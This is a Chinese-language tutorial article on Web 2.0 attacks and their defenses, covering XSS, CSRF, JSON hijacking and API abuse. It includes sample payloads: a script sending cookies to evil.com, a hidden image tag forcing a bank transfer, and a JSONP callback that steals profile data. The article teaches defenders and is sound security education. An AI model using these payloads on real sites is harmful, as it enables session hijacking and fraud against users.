睿诚科技协会

Web 2.0骇客技术如何攻击与防御?

“骇客”(Hacker)和“黑客”(Cracker)在中文语境中常被混用,但在技术圈,“Hacker”更多指代热衷于探索、修改和改进系统技术的人,他们追求知识和自由,而“Cracker”则特指那些利用技术进行恶意破坏、窃取信息的网络罪犯。 本文将聚焦于那些利用Web 2.0技术特点进行恶意攻击的“Cracker”技术,也就是我们常说的“黑客攻击”。

Web 2.0骇客技术如何攻击与防御?-图1
(图片来源网络,侵删)

Web 2.0的核心特征是用户生成内容、交互性、可组合性和丰富的用户体验,这些特性在带来便利和活力的同时,也打开了全新的攻击面,传统的Web 1.0网站是“只读”的,攻击主要针对服务器本身,而Web 2.0的攻击,更多地是利用了信任、用户行为和平台架构


Web 2.0的核心攻击面

在深入具体技术之前,我们先理解Web 2.0为什么更容易被攻击:

  1. 客户端逻辑的复杂化:大量的业务逻辑从服务器转移到了浏览器端(JavaScript),这意味着攻击者可以直接在用户的浏览器上分析和篡改这些逻辑。
  2. 开放API:为了实现数据和功能的可组合性,Web 2.0平台提供了API,API是攻击者重点关照的对象,它们是未经授权访问数据的后门。
  3. 用户生成内容:评论、帖子、私信、个人资料等都是用户输入,如果对这些输入的过滤和验证不严格,它们就成了注入攻击的温床。
  4. 信任关系的滥用:Web 2.0充满了信任关系,比如你信任你的朋友,平台信任API的调用者,攻击者正是利用这种信任进行“社交攻击”。
  5. 跨站请求伪造:用户登录了A网站,然后去访问一个恶意网站B,B网站可以偷偷地向A网站发送一个请求,利用用户在A网站的权限执行操作,比如发帖、转账、修改密码等。

Web 2.0骇客核心技术揭密

以下是几种在Web 2.0时代尤为猖獗且典型的攻击技术:

跨站脚本攻击

这是Web 2.0时代最经典、最普遍的攻击方式。

Web 2.0骇客技术如何攻击与防御?-图2
(图片来源网络,侵删)
  • 核心思想:在网页中注入恶意的JavaScript代码,当其他用户访问被注入的页面时,这些恶意代码会在他们的浏览器中执行。
  • 攻击载体:任何可以由用户输入并展示在网页上的地方,如博客评论、论坛帖子、用户昵称、个人签名等。
  • 骇客技术揭密
    1. 寻找漏洞:骇客会寻找一个可以输入文本但没有做严格过滤或转义的地方,一个博客的评论框。
    2. 注入Payload:他不会输入普通的文字,而是输入一段JavaScript代码,<script>document.location='http://evil.com/steal.php?cookie='+document.cookie;</script>,这段代码的功能是,将当前用户的Cookie信息发送到骇客的服务器。
    3. 利用Cookie:在Web 2.0中,用户会话通常由Cookie维持,一旦骇客获取了你的Cookie,他就可以在自己的浏览器中设置这个Cookie,从而冒充你的身份登录你的账户,完全控制你的账户。
  • 变种与危害
    • 键盘记录:注入的JS可以记录用户在网页上敲下的每一个键,窃取密码、信用卡号等敏感信息。
    • 会话劫持:如上所述,直接劫持用户会话。
    • 钓鱼:注入的JS可以修改页面内容,比如将“登录”按钮的链接指向一个伪造的登录页面,骗取用户账号密码。
    • XSS蠕虫:如果攻击的点是用户个人资料,且网站允许你的好友看到你的资料,那么当你的好友访问你的资料时,恶意脚本就会执行,并自动向他们的好友列表发送同样的恶意请求,形成病毒式传播,一夜之间可以让整个平台瘫痪。

跨站请求伪造

这种攻击非常阴险,因为它利用了用户已登录的信任状态。

  • 核心思想:诱骗已登录目标网站的用户,在不知情的情况下,向目标网站发送一个恶意的请求,这个请求会以用户的身份执行。
  • 攻击载体:一个精心设计的网页、图片、论坛帖子等,其中包含了向目标网站发起请求的代码。
  • 骇客技术揭密
    1. 场景设定:假设你登录了你的网上银行(bank.com),并且没有退出,你收到了一个朋友发来的链接,是一个搞笑的图片网站 funny-pics.com
    2. 恶意构造funny-pics.com 的网页源码中,隐藏着一行看不见的代码:<img src="http://bank.com/transfer?to=attacker_account&amount=10000">,这行代码会向你的银行网站发起一个转账请求。
    3. 自动执行:你的浏览器为了显示这张“图片”,会向 bank.com 发送请求,由于你之前已经登录了 bank.com,浏览器会自动带上你的身份凭证(Cookie),银行服务器看到这个请求,以为是你自己在操作,于是就真的执行了转账。
  • 关键点:CSRF攻击利用了浏览器的一个特性:浏览器会自动附带目标网站的Cookie,而不管这个请求是从哪里发起的,攻击者无法直接读取你的Cookie,但他们可以“借用”你的身份去操作。

JSON劫持

这是针对Web 2.0 API的一种特定攻击,在CSP(内容安全策略)普及前非常流行。

  • 核心思想:利用HTML标签(如<script>)的跨域特性,强制目标网站返回的JSON数据在攻击者的页面上以JavaScript代码的形式执行,从而窃取数据。
  • 骇客技术揭密
    1. 寻找API:骇客发现一个API,https://api.example.com/user/profile?callback=json123,它会返回用户敏感信息,如 json123({"username":"john", "email":"john@example.com", "ssn":"123-45-6789"})
    2. 构造攻击页面:骇客在自己的网站上创建一个页面,里面包含一个<script>标签:<script src="https://api.example.com/user/profile?callback=evilFunction"></script>
    3. 数据泄露:当受害者访问骇客的网站时,这个<script>标签会加载,由于浏览器的同源策略,直接用XMLHttpRequest获取这个数据会失败,但<script>标签不受此限制,当API返回的数据加载后,浏览器会尝试执行它,即调用evilFunction({"username":"john", ...}),如果骇客在页面中预先定义了evilFunction函数,这个函数就能接收到并处理这些敏感数据,然后通过Image标签等方式发送到自己的服务器。
  • 防御:这种攻击主要通过CSP (Content Security Policy) 来防御,它明确禁止页面从不受信任的源加载脚本。

API滥用与探测

Web 2.0的灵魂是API,它也是攻击者的金矿。

  • 核心思想:不利用漏洞,而是利用API的公开性进行探测、滥用和暴力破解。
  • 骇客技术揭密
    1. 信息探测:通过反复调用API,骇客可以探测出网站的用户结构、数据字段、业务逻辑,通过不断尝试 /api/users/{id},可以遍历出所有用户的ID和信息。
    2. 暴力破解:针对登录API (/api/auth/login),骇客可以使用自动化脚本,用海量的用户名和密码进行尝试,直到破解成功。
    3. 资源耗尽攻击:免费或按量付费的API,可以被骇客用脚本疯狂调用,耗尽目标账户的配额或服务器资源,导致服务中断或产生巨额账单。
    4. 越权访问:这是API最危险的漏洞之一,骇客发现一个API /api/posts/{post_id} 用于获取帖子,他尝试修改post_id,发现不仅能获取自己的帖子,还能获取到别人的,甚至是管理员的帖子,这就是水平越权,如果他能通过post_id=1admin=true等参数获取到管理员的控制台,那就是垂直越权

防御策略:如何构建坚不可摧的Web 2.0应用

了解攻击是为了更好地防御,针对上述技术,防御策略如下:

Web 2.0骇客技术如何攻击与防御?-图3
(图片来源网络,侵删)
攻击类型 核心防御策略
XSS (跨站脚本) 输入验证与输出编码:对所有用户输入进行严格验证(白名单优于黑名单),并在输出到HTML页面时进行HTML实体编码。HttpOnly Cookie:设置Cookie的HttpOnly标志,防止JavaScript通过document.cookie读取。CSP (内容安全策略):通过HTTP头或<meta>标签定义一个白名单,规定页面只能从哪些域加载脚本、样式、图片等,从根本上阻止内联脚本和未知脚本的执行。
CSRF (跨站请求伪造) CSRF Token:为每一个重要的表单或API请求生成一个随机且唯一的Token,并将其存储在Cookie中,同时作为表单的隐藏字段或API请求的Header一起提交,服务器在处理请求时验证Token是否匹配。SameSite Cookie属性:为Cookie设置SameSite=StrictSameSite=Lax属性,可以防止Cookie在跨站请求时被自动带上。
JSON劫持 CSP (内容安全策略):如上所述,这是最有效的防御。移除JSONP的回调函数:如果可能,避免使用JSONP,改用CORS(跨域资源共享)机制,如果必须使用,确保返回的数据不包含敏感信息。
API滥用与探测 身份认证与授权:所有API调用都必须经过严格的身份认证,并根据用户角色进行精细化的权限控制。请求频率限制:对单个IP或用户在单位时间内的API调用次数进行限制,防止暴力破解和资源耗尽攻击。输入验证:对API的参数进行严格校验,防止SQL注入、命令注入等,并防止越权访问。监控与告警:对异常的API调用模式(如高频请求、大量失败尝试)进行实时监控和告警。

Web 2.0的“骇客技术”揭密,本质上是揭示了从“攻击服务器”到“攻击用户和信任关系”的转变,攻击的战场从网络的后端延伸到了前端的每一个角落,从服务器的防火墙内转移到了用户的浏览器中。

理解这些攻击原理,对于开发者和安全研究人员至关重要,构建一个安全的Web 2.0应用,不再是简单的“打补丁”,而是需要在架构设计之初就融入深度防御的理念,将安全内嵌到开发流程的每一个环节,从输入验证、会话管理到输出编码,层层设防,才能在开放、互联的Web 2.0世界中,真正保护用户数据和平台安全。

分享:
扫描分享到社交APP
上一篇
下一篇